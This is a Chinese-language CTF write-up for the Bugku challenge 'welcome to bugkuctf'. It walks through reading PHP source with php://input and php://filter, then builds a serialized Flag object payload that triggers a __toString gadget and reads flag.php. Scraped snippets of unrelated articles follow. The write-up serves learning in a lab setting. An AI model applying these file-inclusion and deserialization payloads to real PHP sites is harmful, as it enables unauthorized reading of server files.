今天终于拾起来ctf的比赛了,开始了练习之旅。今天写一道bugku上的题目wp,属于利用php源码泄漏的题目吧,我觉得不是很简单。。。所以把自己的思路放上来。

题目源头:http://120.24.86.145:8006/test1/

题目打开后得到如下的信息,查看源码后发现

很显然想让我们利用源码去得到flag。这里我们稍微解释下这个源码的意思。

开始有三个变量:user,file,pass,但是我们发现这里的pass也就是password没有什么用,所以我们重点关注前两个变量。看下面的条件

(1)这里isset的意思是查看变量是否存在,即user不能为空。

(2)

file_get_contents是把整个文件读入字符串中,这里也就是把user这个变量(user显然要是一个文件)的内容以字符串的方式读出来并且要和“welcome to the bugkuctf”完全相等(类型,内容)。

(3)后面提示了我们所以我们要在满足条件之后读取file=hint.php。

知道了以上的三个条件后我们就可以做第一步了,就是如何满足他们的条件!?

这里就要使用php伪协议了。这道题目为了解决第二个条件,要用到    “php://input”协议。大致的意思是让  txt=php://input ,之后在post过去一个字符串

(当传进去的参数作为文件名变量去打开文件时,可以将参数php://传进,同时post方式传进去值作为文件内容,供php代码执行时当做文件内容读取)类似(PS:此时payload还不完整还不能执行哈)

简单来说就是将指定字符串作为文件传给txt,然后再将user的内容读出来。此时我们就满足了

之后我们得到了

此时根据提示我们可以把包含的文件读出来了,这里要用到php的第二个伪协议:php://filter

这里放上一个写的详细的blog(关于filter的)http://blog.csdn.net/wy_97/article/details/77431111

即  txt=php://input&file=php://filter/read=convert.base64-encode/resource=hint.php(简单来说就是利用伪协议读取所包含文件的base64值)得到

解码得到:

  1. #hint.php
  2. <?php
  3. class Flag{//flag.php
  4. public $file;
  5. public function __tostring(){
  6. if(isset($this->file)){
  7. echo file_get_contents($this->file);
  8. echo "<br>";
  9. return ("good");
  10. }
  11. }
  12. }
  13. ?>

之后可以继续利用伪协议读取一下index.php源码

  1. #index.php
  2. <?php
  3. $txt = $_GET["txt"];
  4. $file = $_GET["file"];
  5. $password = $_GET["password"];
  6. if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
  7. echo "hello friend!<br>";
  8. if(preg_match("/flag/",$file)){
  9. echo "不能现在就给你flag哦";
  10. exit();
  11. }else{
  12. include($file);
  13. $password = unserialize($password);
  14. echo $password;
  15. }
  16. }else{
  17. echo "you are not the number of bugku ! ";
  18. }
  19. ?>
  20. <!--
  21. $user = $_GET["txt"];
  22. $file = $_GET["file"];
  23. $pass = $_GET["password"];
  24. if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
  25. echo "hello admin!<br>";
  26. include($file); //hint.php
  27. }else{
  28. echo "you are not admin ! ";
  29. }
  30. -->

在index里我们能读出来:

(1)在hint.php中我们看到了,所以我们把index.php改成flag.php看看会有什么结果,发现

这个乱码在index.php中我们发现是

所以我们不能直接读flag.php。在index中我们看到这个意思是file中如果包含‘flag’,那么就会给你退出。所以我们要想其他办法读flag.php

(2)我们载去找有用的信息,发现这个else写到如果我的file不包含‘flag’,那么我就会把那个文件包含进来,之后将password反序列化一下。并输出password的结果。而我们根据上面的hint.php发现,

  1. #hint.php
  2. <?php
  3. class Flag{//flag.php
  4. public $file;
  5. public function __tostring(){
  6. if(isset($this->file)){
  7. echo file_get_contents($this->file);
  8. echo "<br>";
  9. return ("good");
  10. }
  11. }
  12. }
  13. ?>

我们发现当Flag方法当做字符串执行时,会自动执行 __tostring 方法,方法中写了如果file文件存在,那么就输出file文件中的内容。

这不正是我们要解决的输出flag.php内容的情况吗???所以我们要构造一个Flag类型的参数,并把这个参数传给password然后get进去。并且这个file的值要是hint.php(因为要利用hint.php中的函数),即:————根据php序列化的结果

  1. <?php
  2. class Flag{
  3. public $file;
  4. }
  5. $a = new Flag();
  6. $a->file = "flag.php";
  7. $a = serialize($a);
  8. print_r($a);
  9. ?>

得到:  O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}  传入

得到

至此这道题目结束。不过应该会有同学问为何payload中有index.php,,我觉得index.php是默认的页面,不然你没有办法传给php页面参数,所以应该属于一种套路吧,记住就好。。。。

作为菜鸡,还要继续努力啊:)

记bugku的——“welcome to bugkuctf”的更多相关文章

  1. bugku welcome to bugkuctf

    题目地址:http://123.206.87.240:8006/test1/ 这道题主要用到了俩个知识点:php伪协议和序列化 点进题目看到:you are not the number of bug ...

  2. Bugku-CTF之welcome to bugkuctf(php://filter和php://input的妙用)

    Day24 welcome to bugkuctf http://123.206.87.240:8006/test1/ 本题要点:代码审计,PHP://filter ,  php://input ,  ...

  3. BugkuCTF 域名解析

    前言 写了这么久的web题,算是把它基础部分都刷完了一遍,以下的几天将持续更新BugkuCTF WEB部分的题解,为了不影响阅读,所以每道题的题解都以单独一篇文章的形式发表,感谢大家一直以来的支持和理 ...

  4. http://www.bugku.com:Bugku——PHP伪协议+魔幻函数+序列化的综合应用(http://120.24.86.145:8006/test1/)

      这一道题目,幸好俺有基础知识护体,不然还真干不掉.     首先,登录看题目,取消隐藏代码的注释.可知可输入三个参数txt.file和password并进行逻辑判断:应该让txt==‘welcom ...

  5. bugku web所有writeup_超详细讲解_持续更新

    首先说一下我的主用工具,在windows下,主要是用这些,用到其他特定的工具会在题里说. 0.浏览器:火狐,配合Max hackbar插件 (这个是免费的) 1.抓包改包:burpsuite.http ...

  6. Bugku web(1—35)

    1.web2 打开网页: 哈哈,其实按下F12你就会发现flag. 2.计算器 打开网页,只是让你输入计算结果,但是发现只能输入一个数字,这时按下F12,修改一下参数,使之可以输入多个数字,修改后输入 ...

  7. BugkuCTF——wp(旧版)

    title: BugkuCTF--wp(旧版) date: 2020-4-25 tags: CTF,比赛 categories: CTF 比赛 Web篇 0x001-web2 解题思路: 1.直接按F ...

  8. Spark踩坑记——Spark Streaming+Kafka

    [TOC] 前言 在WeTest舆情项目中,需要对每天千万级的游戏评论信息进行词频统计,在生产者一端,我们将数据按照每天的拉取时间存入了Kafka当中,而在消费者一端,我们利用了spark strea ...

  9. Spark踩坑记——数据库(Hbase+Mysql)

    [TOC] 前言 在使用Spark Streaming的过程中对于计算产生结果的进行持久化时,我们往往需要操作数据库,去统计或者改变一些值.最近一个实时消费者处理任务,在使用spark streami ...

随机推荐

  1. spring mvc dispatcherServlet

    1. 在web.xml中配置servlet对相应的url请求进行处理 <servlet> <servlet-name>springDispatcher</servlet- ...

  2. Python闭包函数

    闭包 闭包:python中的闭包从表现形式上定义(解释)为: 如果在一个内部函数里,对在外部作用域(但不是在全局作用域)的变量进行引用,那么内部函数就被认为是闭包(closure). 先看一个函数: ...

  3. HUD——1083 Courses

    HUD——1083   Courses Time Limit: 20000/10000 MS (Java/Others)    Memory Limit: 65536/32768 K (Java/Ot ...

  4. HUST 1328 String

    11: KMP next 的强大 题意求前缀在S中出现的次数之和 next[j] 表示 S[0....NEXT[J]]==S[J-NEXT[J].....J]; 于是我们得到..后加入一个字符所得到新 ...

  5. 关于Chrome谷歌浏览器开发者工具网络Network中返回无数据的问题

    1.如图所示,对于有些js文件,响应中无返回数据,Failed to load response data,当然本来是应该有数据,你用火狐浏览器看,就是有的,或者直接在浏览器地址栏里输入url,也可以 ...

  6. [转]JAVA对象容器

    要用Java实现记事本的功能.首先列出记事本所需功能: 可以添加记录(字符串): 可以获得记录条数: 可以删除其中某一条记录: 可以获得指定第几条的记录: 可以列出所有的记录. 如果这个记事本是某个大 ...

  7. curl 发送json请求

    curl 发送json请求 这个是在cmd环境下的输入:注意{\"userName\":\"helo\",\"id\":1}中间不能有空格 ...

  8. 创立一个站点的前前后后(起因,域名,云平台,备案,CDN等等)(1)

    起因 写完<完美软件开发:方法与逻辑>这书后,原本想继续写书的,可出来參加了些社区活动后,我发现我写的书大家评价还行.但事实上不太理解.而接下来想写的书更加抽象点.准备叫<管理的解析 ...

  9. [Angular] Expose Angular Component Logic Using State Reducers

    A component author has no way of knowing which state changes a consumer will want to override, but s ...

  10. Deepin-安装laravel

    首先获取到composer.phar wget https://getcomposer.org/download/1.6.3/composer.phar 下载以后移动到目标区域 sudo mv com ...